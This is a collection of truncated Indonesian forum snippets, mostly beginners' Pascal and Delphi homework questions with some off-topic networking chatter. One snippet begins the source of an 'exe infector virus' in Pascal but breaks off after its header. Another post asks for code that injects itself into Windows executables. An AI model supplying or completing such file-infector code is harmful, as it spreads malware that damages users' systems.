gak bs jg gan spasinya, malah jd kacau posisi ny .. ini code buatan saya : var jum,baris,kolom,total,i,j : integer; myboo : boolean; begin write ('Input : ');readln(jum); write('Hasil -> '); writeln; myboo := false; baris := 0; kolom := 0; total := 0; while (myboo = false) ...
sdh mau gan :cendolb makasih pencerahannya .. oy gan, saya bikin output gini di pascal : Input ? 14 Hasil -> 1 \t 234 56789 1011121314 Input ? 7 Hasil -> 1 234 567 dan hasilnya gak pake jarak antara angka, gimana biar antara angka memiliki spasi atau jarak ky gini : Input ? 14 Hasil -&g...
ini hasil bikinan coding saya gan, tp malah kacau posisinya : uses wincrt; var a, b, bil : byte; lagi : string; begin lagi := 'Y'; while (lagi ='Y') or (lagi ='y') do begin write('berapa baris ? '); readln(bil); for a:=1 to bil do begin for b:=1 to 5 do beg...
gan ,,ane mau tanya ... nah,itu gimana ya gan algoritma nya ,,, mohon pencerahannya :bingung kayakna gw ngerti masalahnya.... misal si A pertama booking dari 1 s/d 3 Desember. Hasilnya: Tgl_In = 1 Desember, dan Tgl_Out = 3 Desember..... Nah, terus kan ada si B, dia booking tgl 2 s/d 3 Desember. ...
tetep gan, masih exit juga, aneh nih trus ane coba hapus readln; yg di program utama, masih sama exit juga, aneh nih :bingung ada yang bisa bantu gag y ane dah test di delphi (console), run dgn sempurna gan.... ente pake fpc (free pascal) ya? coba yg 'not boolean (x mod 2)' diganti sama...
disini minta bimbingan TA boleh kaga ya? ga bagus2 amat seh..cuma cukup membingungkan;;; hehehe... try me... asal masih sekitar Delphi ya...?
http://www.speedtest.net/result/465513139.png\n\nHehehe... luar biasa semaput koneksi ke server luarnya.\n\nmasih stabil per hari ini: :D \nfastnet 384... daerah: Kelapa Gading BCS...\n\nhttp://www.speedtest.net/result/466271371.png\n\nbtw uploadnya kalo fastne...
da yg jago Pascal toh?\n\nbkin gni gmana y?\n\n12345\n67896\n52107\n43458\n32109\n\nbantu dunk?pake for ja bolehnya......\n\nlucu juga nih....\n\n1->2->3->4->5\n |\n6->7->8->9 6\n| | |\n5 2<-1<-0 7&...
gan mau mnta bantuannya nee, program gw selmlm blm da outputny (print hasil yg diinput)\n\njd program yg semlm baru input aja :o\n\nya emang lom ada output bro... :D kan cuman nanya salahnya dimana? :D\noutput ya sama aja bro sama input, bedanya kalo input: pake readln, kalo o...
gw pake Slackware 12.1\n\nwaduh.... :hammer: gak mudeng gan...... :D\nbtw, jadi OOT nih... :hammer:\ngimana caranya di ubuntu ke internet pake firewire (net1394) yg konek ke host (dan hostnya konek ke inet).......?\nkalo buat peer-to-peer dah ok, isa konek dari ubuntu ke xp vi...
Ada yg tau gimana install FPC 2.3.1 (development snapshot) di Linux?\n\nJadi di desktop Linux gw, sama sekali blom terinstall Free Pascal.\nSetelah gw donlot, gw extract.\nAda 3 sub direktori: bin, lib, share.\nMasing2 isi subdirektori gw pindahin ke direktori yg bersesuaian.&...
error di \n\nVAR\n NIM : ARRAY OF LONGINT; \n\nerror gara2 definisi constnya salah syntax bro: mustinya:\n\nconst\n MAXSTUDENTS = 30\n\n\nlengkapnya: (copas dari di atas :D)\n\nPROGRAM INPUT_DATA_ARRAY;\nUSES WINCRT;\nCONST\n MAXSTU...
ini versi sederhananya kali ya bro...\n\n\nprogram AppendVirus;\n\n// Exe infector virus\n// by unfunf\n// I will not be responsible for any damage caused if this virus is released.\n\nuses\nWindows;\n\nconst // Constants for infectfile return\n...
Ada yang punya code virus exe yg pake pascal/delphi buat win32 gak?\nGw cuma butuh metode infeksinya...dimana melakukan copy sebagian code dirinya ke dalam exe target.\nPas target running, code tersebut terexekusi juga...\ngw butuh buat bikin dongle nih...\n\nOK :Paws:\nCo...
para master2 delphi ada yg bisa bantu saya ga?\nTA saya neh membuat simulasi robot mobil pendeteksi radiasi..\nnah tugas dari dosen yg pertama membuat aplikasi yg di dalamnya ada simulasi mobil yg klo di klik mobilnya muter 90derajat.(itu udah bisa)\ntrus tugas kedua dari dosen agar m...
ada yang bisa bantu saya nga??\nbegini \nsaya mempunyai kesulitan dalam mencari sintak untuk mengetahui hasil pengurangan hari.\nmisal :\nAda client yang membayar tanggal 30/8/2008. padahal client tersebut batas seharusnya membayar paling telat setiap tanggal 7 tiap bulanya. pemba...